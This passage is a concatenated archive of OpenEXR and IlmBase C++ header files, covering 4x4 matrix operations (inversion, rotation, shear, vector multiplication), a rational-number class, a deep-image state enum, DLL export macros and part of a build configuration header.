bp[11] + a3 * bp[15]; a0 = ap[4]; a1 = ap[5]; a2 = ap[6]; a3 = ap[7]; cp[4] = a0 * bp[0] + a1 * bp[4] + a2 * bp[8] + a3 * bp[12]; cp[5] = a0 * bp[1] + a1 * bp[5] + a2 * bp[9] + a3 * bp[13]; cp[6] = a0 * bp[2] + a1 * bp[6] + a2 * bp[10] + a3 * bp[14]; cp[7] = a0 * bp[3] + a1 * bp[7] + a2 * bp[11] + a3 * bp[15]; a0 = ap[8]; a1 = ap[9]; a2 = ap[10]; a3 = ap[11]; cp[8] = a0 * bp[0] + a1 * bp[4] + a2 * bp[8] + a3 * bp[12]; cp[9] = a0 * bp[1] + a1 * bp[5] + a2 * bp[9] + a3 * bp[13]; cp[10] = a0 * bp[2] + a1 * bp[6] + a2 * bp[10] + a3 * bp[14]; cp[11] = a0 * bp[3] + a1 * bp[7] + a2 * bp[11] + a3 * bp[15]; a0 = ap[12]; a1 = ap[13]; a2 = ap[14]; a3 = ap[15]; cp[12] = a0 * bp[0] + a1 * bp[4] + a2 * bp[8] + a3 * bp[12]; cp[13] = a0 * bp[1] + a1 * bp[5] + a2 * bp[9] + a3 * bp[13]; cp[14] = a0 * bp[2] + a1 * bp[6] + a2 * bp[10] + a3 * bp[14]; cp[15] = a0 * bp[3] + a1 * bp[7] + a2 * bp[11] + a3 * bp[15]; } template <class T> template <class S> void Matrix44<T>::multVecMatrix(const Vec3<S> &src, Vec3<S> &dst) const { S a, b, c, w; a = src[0] * x[0][0] + src[1] * x[1][0] + src[2] * x[2][0] + x[3][0]; b = src[0] * x[0][1] + src[1] * x[1][1] + src[2] * x[2][1] + x[3][1]; c = src[0] * x[0][2] + src[1] * x[1][2] + src[2] * x[2][2] + x[3][2]; w = src[0] * x[0][3] + src[1] * x[1][3] + src[2] * x[2][3] + x[3][3]; dst.x = a / w; dst.y = b / w; dst.z = c / w; } template <class T> template <class S> void Matrix44<T>::multDirMatrix(const Vec3<S> &src, Vec3<S> &dst) const { S a, b, c; a = src[0] * x[0][0] + src[1] * x[1][0] + src[2] * x[2][0]; b = src[0] * x[0][1] + src[1] * x[1][1] + src[2] * x[2][1]; c = src[0] * x[0][2] + src[1] * x[1][2] + src[2] * x[2][2]; dst.x = a; dst.y = b; dst.z = c; } template <class T> const Matrix44<T> & Matrix44<T>::operator /= (T a) { x[0][0] /= a; x[0][1] /= a; x[0][2] /= a; x[0][3] /= a; x[1][0] /= a; x[1][1] /= a; x[1][2] /= a; x[1][3] /= a; x[2][0] /= a; x[2][1] /= a; x[2][2] /= a; x[2][3] /= a; x[3][0] /= a; x[3][1] /= a; x[3][2] /= a; x[3][3] /= a; return *this; } template <class T> Matrix44<T> Matrix44<T>::operator / (T a) const { return Matrix44 (x[0][0] / a, x[0][1] / a, x[0][2] / a, x[0][3] / a, x[1][0] / a, x[1][1] / a, x[1][2] / a, x[1][3] / a, x[2][0] / a, x[2][1] / a, x[2][2] / a, x[2][3] / a, x[3][0] / a, x[3][1] / a, x[3][2] / a, x[3][3] / a); } template <class T> const Matrix44<T> & Matrix44<T>::transpose () { Matrix44 tmp (x[0][0], x[1][0], x[2][0], x[3][0], x[0][1], x[1][1], x[2][1], x[3][1], x[0][2], x[1][2], x[2][2], x[3][2], x[0][3], x[1][3], x[2][3], x[3][3]); *this = tmp; return *this; } template <class T> Matrix44<T> Matrix44<T>::transposed () const { return Matrix44 (x[0][0], x[1][0], x[2][0], x[3][0], x[0][1], x[1][1], x[2][1], x[3][1], x[0][2], x[1][2], x[2][2], x[3][2], x[0][3], x[1][3], x[2][3], x[3][3]); } template <class T> const Matrix44<T> & Matrix44<T>::gjInvert (bool singExc) throw (IEX_NAMESPACE::MathExc) { *this = gjInverse (singExc); return *this; } template <class T> Matrix44<T> Matrix44<T>::gjInverse (bool singExc) const throw (IEX_NAMESPACE::MathExc) { int i, j, k; Matrix44 s; Matrix44 t (*this); // Forward elimination for (i = 0; i < 3 ; i++) { int pivot = i; T pivotsize = t[i][i]; if (pivotsize < 0) pivotsize = -pivotsize; for (j = i + 1; j < 4; j++) { T tmp = t[j][i]; if (tmp < 0) tmp = -tmp; if (tmp > pivotsize) { pivot = j; pivotsize = tmp; } } if (pivotsize == 0) { if (singExc) throw ::IMATH_INTERNAL_NAMESPACE::SingMatrixExc ("Cannot invert singular matrix."); return Matrix44(); } if (pivot != i) { for (j = 0; j < 4; j++) { T tmp; tmp = t[i][j]; t[i][j] = t[pivot][j]; t[pivot][j] = tmp; tmp = s[i][j]; s[i][j] = s[pivot][j]; s[pivot][j] = tmp; } } for (j = i + 1; j < 4; j++) { T f = t[j][i] / t[i][i]; for (k = 0; k < 4; k++) { t[j][k] -= f * t[i][k]; s[j][k] -= f * s[i][k]; } } } // Backward substitution for (i = 3; i >= 0; --i) { T f; if ((f = t[i][i]) == 0) { if (singExc) throw ::IMATH_INTERNAL_NAMESPACE::SingMatrixExc ("Cannot invert singular matrix."); return Matrix44(); } for (j = 0; j < 4; j++) { t[i][j] /= f; s[i][j] /= f; } for (j = 0; j < i; j++) { f = t[j][i]; for (k = 0; k < 4; k++) { t[j][k] -= f * t[i][k]; s[j][k] -= f * s[i][k]; } } } return s; } template <class T> const Matrix44<T> & Matrix44<T>::invert (bool singExc) throw (IEX_NAMESPACE::MathExc) { *this = inverse (singExc); return *this; } template <class T> Matrix44<T> Matrix44<T>::inverse (bool singExc) const throw (IEX_NAMESPACE::MathExc) { if (x[0][3] != 0 || x[1][3] != 0 || x[2][3] != 0 || x[3][3] != 1) return gjInverse(singExc); Matrix44 s (x[1][1] * x[2][2] - x[2][1] * x[1][2], x[2][1] * x[0][2] - x[0][1] * x[2][2], x[0][1] * x[1][2] - x[1][1] * x[0][2], 0, x[2][0] * x[1][2] - x[1][0] * x[2][2], x[0][0] * x[2][2] - x[2][0] * x[0][2], x[1][0] * x[0][2] - x[0][0] * x[1][2], 0, x[1][0] * x[2][1] - x[2][0] * x[1][1], x[2][0] * x[0][1] - x[0][0] * x[2][1], x[0][0] * x[1][1] - x[1][0] * x[0][1], 0, 0, 0, 0, 1); T r = x[0][0] * s[0][0] + x[0][1] * s[1][0] + x[0][2] * s[2][0]; if (IMATH_INTERNAL_NAMESPACE::abs (r) >= 1) { for (int i = 0; i < 3; ++i) { for (int j = 0; j < 3; ++j) { s[i][j] /= r; } } } else { T mr = IMATH_INTERNAL_NAMESPACE::abs (r) / limits<T>::smallest(); for (int i = 0; i < 3; ++i) { for (int j = 0; j < 3; ++j) { if (mr > IMATH_INTERNAL_NAMESPACE::abs (s[i][j])) { s[i][j] /= r; } else { if (singExc) throw SingMatrixExc ("Cannot invert singular matrix."); return Matrix44(); } } } } s[3][0] = -x[3][0] * s[0][0] - x[3][1] * s[1][0] - x[3][2] * s[2][0]; s[3][1] = -x[3][0] * s[0][1] - x[3][1] * s[1][1] - x[3][2] * s[2][1]; s[3][2] = -x[3][0] * s[0][2] - x[3][1] * s[1][2] - x[3][2] * s[2][2]; return s; } template <class T> inline T Matrix44<T>::fastMinor( const int r0, const int r1, const int r2, const int c0, const int c1, const int c2) const { return x[r0][c0] * (x[r1][c1]*x[r2][c2] - x[r1][c2]*x[r2][c1]) + x[r0][c1] * (x[r1][c2]*x[r2][c0] - x[r1][c0]*x[r2][c2]) + x[r0][c2] * (x[r1][c0]*x[r2][c1] - x[r1][c1]*x[r2][c0]); } template <class T> inline T Matrix44<T>::minorOf (const int r, const int c) const { int r0 = 0 + (r < 1 ? 1 : 0); int r1 = 1 + (r < 2 ? 1 : 0); int r2 = 2 + (r < 3 ? 1 : 0); int c0 = 0 + (c < 1 ? 1 : 0); int c1 = 1 + (c < 2 ? 1 : 0); int c2 = 2 + (c < 3 ? 1 : 0); Matrix33<T> working (x[r0][c0],x[r1][c0],x[r2][c0], x[r0][c1],x[r1][c1],x[r2][c1], x[r0][c2],x[r1][c2],x[r2][c2]); return working.determinant(); } template <class T> inline T Matrix44<T>::determinant () const { T sum = (T)0; if (x[0][3] != 0.) sum -= x[0][3] * fastMinor(1,2,3,0,1,2); if (x[1][3] != 0.) sum += x[1][3] * fastMinor(0,2,3,0,1,2); if (x[2][3] != 0.) sum -= x[2][3] * fastMinor(0,1,3,0,1,2); if (x[3][3] != 0.) sum += x[3][3] * fastMinor(0,1,2,0,1,2); return sum; } template <class T> template <class S> const Matrix44<T> & Matrix44<T>::setEulerAngles (const Vec3<S>& r) { S cos_rz, sin_rz, cos_ry, sin_ry, cos_rx, sin_rx; cos_rz = Math<T>::cos (r[2]); cos_ry = Math<T>::cos (r[1]); cos_rx = Math<T>::cos (r[0]); sin_rz = Math<T>::sin (r[2]); sin_ry = Math<T>::sin (r[1]); sin_rx = Math<T>::sin (r[0]); x[0][0] = cos_rz * cos_ry; x[0][1] = sin_rz * cos_ry; x[0][2] = -sin_ry; x[0][3] = 0; x[1][0] = -sin_rz * cos_rx + cos_rz * sin_ry * sin_rx; x[1][1] = cos_rz * cos_rx + sin_rz * sin_ry * sin_rx; x[1][2] = cos_ry * sin_rx; x[1][3] = 0; x[2][0] = sin_rz * sin_rx + cos_rz * sin_ry * cos_rx; x[2][1] = -cos_rz * sin_rx + sin_rz * sin_ry * cos_rx; x[2][2] = cos_ry * cos_rx; x[2][3] = 0; x[3][0] = 0; x[3][1] = 0; x[3][2] = 0; x[3][3] = 1; return *this; } template <class T> template <class S> const Matrix44<T> & Matrix44<T>::setAxisAngle (const Vec3<S>& axis, S angle) { Vec3<S> unit (axis.normalized()); S sine = Math<T>::sin (angle); S cosine = Math<T>::cos (angle); x[0][0] = unit[0] * unit[0] * (1 - cosine) + cosine; x[0][1] = unit[0] * unit[1] * (1 - cosine) + unit[2] * sine; x[0][2] = unit[0] * unit[2] * (1 - cosine) - unit[1] * sine; x[0][3] = 0; x[1][0] = unit[0] * unit[1] * (1 - cosine) - unit[2] * sine; x[1][1] = unit[1] * unit[1] * (1 - cosine) + cosine; x[1][2] = unit[1] * unit[2] * (1 - cosine) + unit[0] * sine; x[1][3] = 0; x[2][0] = unit[0] * unit[2] * (1 - cosine) + unit[1] * sine; x[2][1] = unit[1] * unit[2] * (1 - cosine) - unit[0] * sine; x[2][2] = unit[2] * unit[2] * (1 - cosine) + cosine; x[2][3] = 0; x[3][0] = 0; x[3][1] = 0; x[3][2] = 0; x[3][3] = 1; return *this; } template <class T> template <class S> const Matrix44<T> & Matrix44<T>::rotate (const Vec3<S> &r) { S cos_rz, sin_rz, cos_ry, sin_ry, cos_rx, sin_rx; S m00, m01, m02; S m10, m11, m12; S m20, m21, m22; cos_rz = Math<S>::cos (r[2]); cos_ry = Math<S>::cos (r[1]); cos_rx = Math<S>::cos (r[0]); sin_rz = Math<S>::sin (r[2]); sin_ry = Math<S>::sin (r[1]); sin_rx = Math<S>::sin (r[0]); m00 = cos_rz * cos_ry; m01 = sin_rz * cos_ry; m02 = -sin_ry; m10 = -sin_rz * cos_rx + cos_rz * sin_ry * sin_rx; m11 = cos_rz * cos_rx + sin_rz * sin_ry * sin_rx; m12 = cos_ry * sin_rx; m20 = -sin_rz * -sin_rx + cos_rz * sin_ry * cos_rx; m21 = cos_rz * -sin_rx + sin_rz * sin_ry * cos_rx; m22 = cos_ry * cos_rx; Matrix44<T> P (*this); x[0][0] = P[0][0] * m00 + P[1][0] * m01 + P[2][0] * m02; x[0][1] = P[0][1] * m00 + P[1][1] * m01 + P[2][1] * m02; x[0][2] = P[0][2] * m00 + P[1][2] * m01 + P[2][2] * m02; x[0][3] = P[0][3] * m00 + P[1][3] * m01 + P[2][3] * m02; x[1][0] = P[0][0] * m10 + P[1][0] * m11 + P[2][0] * m12; x[1][1] = P[0][1] * m10 + P[1][1] * m11 + P[2][1] * m12; x[1][2] = P[0][2] * m10 + P[1][2] * m11 + P[2][2] * m12; x[1][3] = P[0][3] * m10 + P[1][3] * m11 + P[2][3] * m12; x[2][0] = P[0][0] * m20 + P[1][0] * m21 + P[2][0] * m22; x[2][1] = P[0][1] * m20 + P[1][1] * m21 + P[2][1] * m22; x[2][2] = P[0][2] * m20 + P[1][2] * m21 + P[2][2] * m22; x[2][3] = P[0][3] * m20 + P[1][3] * m21 + P[2][3] * m22; return *this; } template <class T> const Matrix44<T> & Matrix44<T>::setScale (T s) { memset (x, 0, sizeof (x)); x[0][0] = s; x[1][1] = s; x[2][2] = s; x[3][3] = 1; return *this; } template <class T> template <class S> const Matrix44<T> & Matrix44<T>::setScale (const Vec3<S> &s) { memset (x, 0, sizeof (x)); x[0][0] = s[0]; x[1][1] = s[1]; x[2][2] = s[2]; x[3][3] = 1; return *this; } template <class T> template <class S> const Matrix44<T> & Matrix44<T>::scale (const Vec3<S> &s) { x[0][0] *= s[0]; x[0][1] *= s[0]; x[0][2] *= s[0]; x[0][3] *= s[0]; x[1][0] *= s[1]; x[1][1] *= s[1]; x[1][2] *= s[1]; x[1][3] *= s[1]; x[2][0] *= s[2]; x[2][1] *= s[2]; x[2][2] *= s[2]; x[2][3] *= s[2]; return *this; } template <class T> template <class S> const Matrix44<T> & Matrix44<T>::setTranslation (const Vec3<S> &t) { x[0][0] = 1; x[0][1] = 0; x[0][2] = 0; x[0][3] = 0; x[1][0] = 0; x[1][1] = 1; x[1][2] = 0; x[1][3] = 0; x[2][0] = 0; x[2][1] = 0; x[2][2] = 1; x[2][3] = 0; x[3][0] = t[0]; x[3][1] = t[1]; x[3][2] = t[2]; x[3][3] = 1; return *this; } template <class T> inline const Vec3<T> Matrix44<T>::translation () const { return Vec3<T> (x[3][0], x[3][1], x[3][2]); } template <class T> template <class S> const Matrix44<T> & Matrix44<T>::translate (const Vec3<S> &t) { x[3][0] += t[0] * x[0][0] + t[1] * x[1][0] + t[2] * x[2][0]; x[3][1] += t[0] * x[0][1] + t[1] * x[1][1] + t[2] * x[2][1]; x[3][2] += t[0] * x[0][2] + t[1] * x[1][2] + t[2] * x[2][2]; x[3][3] += t[0] * x[0][3] + t[1] * x[1][3] + t[2] * x[2][3]; return *this; } template <class T> template <class S> const Matrix44<T> & Matrix44<T>::setShear (const Vec3<S> &h) { x[0][0] = 1; x[0][1] = 0; x[0][2] = 0; x[0][3] = 0; x[1][0] = h[0]; x[1][1] = 1; x[1][2] = 0; x[1][3] = 0; x[2][0] = h[1]; x[2][1] = h[2]; x[2][2] = 1; x[2][3] = 0; x[3][0] = 0; x[3][1] = 0; x[3][2] = 0; x[3][3] = 1; return *this; } template <class T> template <class S> const Matrix44<T> & Matrix44<T>::setShear (const Shear6<S> &h) { x[0][0] = 1; x[0][1] = h.yx; x[0][2] = h.zx; x[0][3] = 0; x[1][0] = h.xy; x[1][1] = 1; x[1][2] = h.zy; x[1][3] = 0; x[2][0] = h.xz; x[2][1] = h.yz; x[2][2] = 1; x[2][3] = 0; x[3][0] = 0; x[3][1] = 0; x[3][2] = 0; x[3][3] = 1; return *this; } template <class T> template <class S> const Matrix44<T> & Matrix44<T>::shear (const Vec3<S> &h) { // // In this case, we don't need a temp. copy of the matrix // because we never use a value on the RHS after we've // changed it on the LHS. // for (int i=0; i < 4; i++) { x[2][i] += h[1] * x[0][i] + h[2] * x[1][i]; x[1][i] += h[0] * x[0][i]; } return *this; } template <class T> template <class S> const Matrix44<T> & Matrix44<T>::shear (const Shear6<S> &h) { Matrix44<T> P (*this); for (int i=0; i < 4; i++) { x[0][i] = P[0][i] + h.yx * P[1][i] + h.zx * P[2][i]; x[1][i] = h.xy * P[0][i] + P[1][i] + h.zy * P[2][i]; x[2][i] = h.xz * P[0][i] + h.yz * P[1][i] + P[2][i]; } return *this; } //-------------------------------- // Implementation of stream output //-------------------------------- template <class T> std::ostream & operator << (std::ostream &s, const Matrix33<T> &m) { std::ios_base::fmtflags oldFlags = s.flags(); int width; if (s.flags() & std::ios_base::fixed) { s.setf (std::ios_base::showpoint); width = s.precision() + 5; } else { s.setf (std::ios_base::scientific); s.setf (std::ios_base::showpoint); width = s.precision() + 8; } s << "(" << std::setw (width) << m[0][0] << " " << std::setw (width) << m[0][1] << " " << std::setw (width) << m[0][2] << "\n" << " " << std::setw (width) << m[1][0] << " " << std::setw (width) << m[1][1] << " " << std::setw (width) << m[1][2] << "\n" << " " << std::setw (width) << m[2][0] << " " << std::setw (width) << m[2][1] << " " << std::setw (width) << m[2][2] << ")\n"; s.flags (oldFlags); return s; } template <class T> std::ostream & operator << (std::ostream &s, const Matrix44<T> &m) { std::ios_base::fmtflags oldFlags = s.flags(); int width; if (s.flags() & std::ios_base::fixed) { s.setf (std::ios_base::showpoint); width = s.precision() + 5; } else { s.setf (std::ios_base::scientific); s.setf (std::ios_base::showpoint); width = s.precision() + 8; } s << "(" << std::setw (width) << m[0][0] << " " << std::setw (width) << m[0][1] << " " << std::setw (width) << m[0][2] << " " << std::setw (width) << m[0][3] << "\n" << " " << std::setw (width) << m[1][0] << " " << std::setw (width) << m[1][1] << " " << std::setw (width) << m[1][2] << " " << std::setw (width) << m[1][3] << "\n" << " " << std::setw (width) << m[2][0] << " " << std::setw (width) << m[2][1] << " " << std::setw (width) << m[2][2] << " " << std::setw (width) << m[2][3] << "\n" << " " << std::setw (width) << m[3][0] << " " << std::setw (width) << m[3][1] << " " << std::setw (width) << m[3][2] << " " << std::setw (width) << m[3][3] << ")\n"; s.flags (oldFlags); return s; } //--------------------------------------------------------------- // Implementation of vector-times-matrix multiplication operators //--------------------------------------------------------------- template <class S, class T> inline const Vec2<S> & operator *= (Vec2<S> &v, const Matrix33<T> &m) { S x = S(v.x * m[0][0] + v.y * m[1][0] + m[2][0]); S y = S(v.x * m[0][1] + v.y * m[1][1] + m[2][1]); S w = S(v.x * m[0][2] + v.y * m[1][2] + m[2][2]); v.x = x / w; v.y = y / w; return v; } template <class S, class T> inline Vec2<S> operator * (const Vec2<S> &v, const Matrix33<T> &m) { S x = S(v.x * m[0][0] + v.y * m[1][0] + m[2][0]); S y = S(v.x * m[0][1] + v.y * m[1][1] + m[2][1]); S w = S(v.x * m[0][2] + v.y * m[1][2] + m[2][2]); return Vec2<S> (x / w, y / w); } template <class S, class T> inline const Vec3<S> & operator *= (Vec3<S> &v, const Matrix33<T> &m) { S x = S(v.x * m[0][0] + v.y * m[1][0] + v.z * m[2][0]); S y = S(v.x * m[0][1] + v.y * m[1][1] + v.z * m[2][1]); S z = S(v.x * m[0][2] + v.y * m[1][2] + v.z * m[2][2]); v.x = x; v.y = y; v.z = z; return v; } template <class S, class T> inline Vec3<S> operator * (const Vec3<S> &v, const Matrix33<T> &m) { S x = S(v.x * m[0][0] + v.y * m[1][0] + v.z * m[2][0]); S y = S(v.x * m[0][1] + v.y * m[1][1] + v.z * m[2][1]); S z = S(v.x * m[0][2] + v.y * m[1][2] + v.z * m[2][2]); return Vec3<S> (x, y, z); } template <class S, class T> inline const Vec3<S> & operator *= (Vec3<S> &v, const Matrix44<T> &m) { S x = S(v.x * m[0][0] + v.y * m[1][0] + v.z * m[2][0] + m[3][0]); S y = S(v.x * m[0][1] + v.y * m[1][1] + v.z * m[2][1] + m[3][1]); S z = S(v.x * m[0][2] + v.y * m[1][2] + v.z * m[2][2] + m[3][2]); S w = S(v.x * m[0][3] + v.y * m[1][3] + v.z * m[2][3] + m[3][3]); v.x = x / w; v.y = y / w; v.z = z / w; return v; } template <class S, class T> inline Vec3<S> operator * (const Vec3<S> &v, const Matrix44<T> &m) { S x = S(v.x * m[0][0] + v.y * m[1][0] + v.z * m[2][0] + m[3][0]); S y = S(v.x * m[0][1] + v.y * m[1][1] + v.z * m[2][1] + m[3][1]); S z = S(v.x * m[0][2] + v.y * m[1][2] + v.z * m[2][2] + m[3][2]); S w = S(v.x * m[0][3] + v.y * m[1][3] + v.z * m[2][3] + m[3][3]); return Vec3<S> (x / w, y / w, z / w); } template <class S, class T> inline const Vec4<S> & operator *= (Vec4<S> &v, const Matrix44<T> &m) { S x = S(v.x * m[0][0] + v.y * m[1][0] + v.z * m[2][0] + v.w * m[3][0]); S y = S(v.x * m[0][1] + v.y * m[1][1] + v.z * m[2][1] + v.w * m[3][1]); S z = S(v.x * m[0][2] + v.y * m[1][2] + v.z * m[2][2] + v.w * m[3][2]); S w = S(v.x * m[0][3] + v.y * m[1][3] + v.z * m[2][3] + v.w * m[3][3]); v.x = x; v.y = y; v.z = z; v.w = w; return v; } template <class S, class T> inline Vec4<S> operator * (const Vec4<S> &v, const Matrix44<T> &m) { S x = S(v.x * m[0][0] + v.y * m[1][0] + v.z * m[2][0] + v.w * m[3][0]); S y = S(v.x * m[0][1] + v.y * m[1][1] + v.z * m[2][1] + v.w * m[3][1]); S z = S(v.x * m[0][2] + v.y * m[1][2] + v.z * m[2][2] + v.w * m[3][2]); S w = S(v.x * m[0][3] + v.y * m[1][3] + v.z * m[2][3] + v.w * m[3][3]); return Vec4<S> (x, y, z, w); } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHMATRIX_H OpenEXR/ImfRational.h 0000644 00000006255 15246445047 0010425 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2006, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_RATIONAL_H #define INCLUDED_IMF_RATIONAL_H #include "ImfExport.h" #include "ImfNamespace.h" //----------------------------------------------------------------------------- // // Rational numbers // // A rational number is represented as pair of integers, n and d. // The value of of the rational number is // // n/d for d > 0 // positive infinity for n > 0, d == 0 // negative infinity for n < 0, d == 0 // not a number (NaN) for n == 0, d == 0 // //----------------------------------------------------------------------------- OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT Rational { public: int n; // numerator unsigned int d; // denominator //---------------------------------------- // Default constructor, sets value to zero //---------------------------------------- Rational (): n (0), d (1) {} //------------------------------------- // Constructor, explicitly sets n and d //------------------------------------- Rational (int n, int d): n (n), d (d) {} //---------------------------- // Constructor, approximates x //---------------------------- explicit Rational (double x); //--------------------------------- // Approximate conversion to double //--------------------------------- operator double () const {return double (n) / double (d);} }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfDeepImageState.h 0000644 00000007257 15246445047 0011500 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2013, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_DEEPIMAGESTATE_H #define INCLUDED_IMF_DEEPIMAGESTATE_H //----------------------------------------------------------------------------- // // enum DeepImageState -- describes how orderly the pixel data // in a deep image are // // The samples in a deep image pixel may be sorted according to // depth, and the sample depths or depth ranges may or may not // overlap each other. A pixel is // // - SORTED if for every i and j with i < j // // (Z[i] < Z[j]) || (Z[i] == Z[j] && ZBack[i] < ZBack[j]), // // - NON_OVERLAPPING if for every i and j with i != j // // (Z[i] < Z[j] && ZBack[i] <= Z[j]) || // (Z[j] < Z[i] && ZBack[j] <= Z[i]) || // (Z[i] == Z[j] && ZBack[i] <= Z[i] & ZBack[j] > Z[j]) || // (Z[i] == Z[j] && ZBack[j] <= Z[j] & ZBack[i] > Z[i]), // // - TIDY if it is SORTED and NON_OVERLAPPING, // // - MESSY if it is neither SORTED nor NON_OVERLAPPING. // // A deep image is // // - MESSY if at least one of its pixels is MESSY, // - SORTED if all of its pixels are SORTED, // - NON_OVERLAPPING if all of its pixels are NON_OVERLAPPING, // - TIDY if all of its pixels are TIDY. // // Note: the rather complicated definition of NON_OVERLAPPING prohibits // overlapping volume samples, coincident point samples and point samples // in the middle of a volume sample, but it does allow point samples at // the front or back of a volume sample. // //----------------------------------------------------------------------------- #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER enum DeepImageState { DIS_MESSY = 0, DIS_SORTED = 1, DIS_NON_OVERLAPPING = 2, DIS_TIDY = 3, DIS_NUMSTATES // Number of different image states }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfExport.h 0000644 00000004165 15246445047 0010133 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #if defined(OPENEXR_DLL) #if defined(ILMIMF_EXPORTS) #define IMF_EXPORT __declspec(dllexport) #define IMF_EXPORT_CONST extern __declspec(dllexport) #else #define IMF_EXPORT __declspec(dllimport) #define IMF_EXPORT_CONST extern __declspec(dllimport) #endif #else #define IMF_EXPORT #define IMF_EXPORT_CONST extern const #endif OpenEXR/IlmBaseConfig-64.h 0000644 00000003221 15246445047 0011077 0 ustar 00 /* config/IlmBaseConfig.h. Generated from IlmBaseConfig.h.in by configure. */ // // Define and set to 1 if the target system has POSIX thread support // and you want IlmBase to use it for multithreaded file I/O. // #define HAVE_PTHREAD 1 // // Define and set to 1 if the target system supports POSIX semaphores // and you want OpenEXR to use them; otherwise, OpenEXR will use its // own semaphore implementation. // #define HAVE_POSIX_SEMAPHORES 1 #define HAVE_UCONTEXT_H 1 // // Dealing with FPEs // #define ILMBASE_HAVE_CONTROL_REGISTER_SUPPORT 1 // // Define and set to 1 if the target system has support for large // stack sizes. // #define ILMBASE_HAVE_LARGE_STACK 1 // // Current (internal) library namepace name and corresponding public // client namespaces. // #define ILMBASE_INTERNAL_NAMESPACE_CUSTOM 1 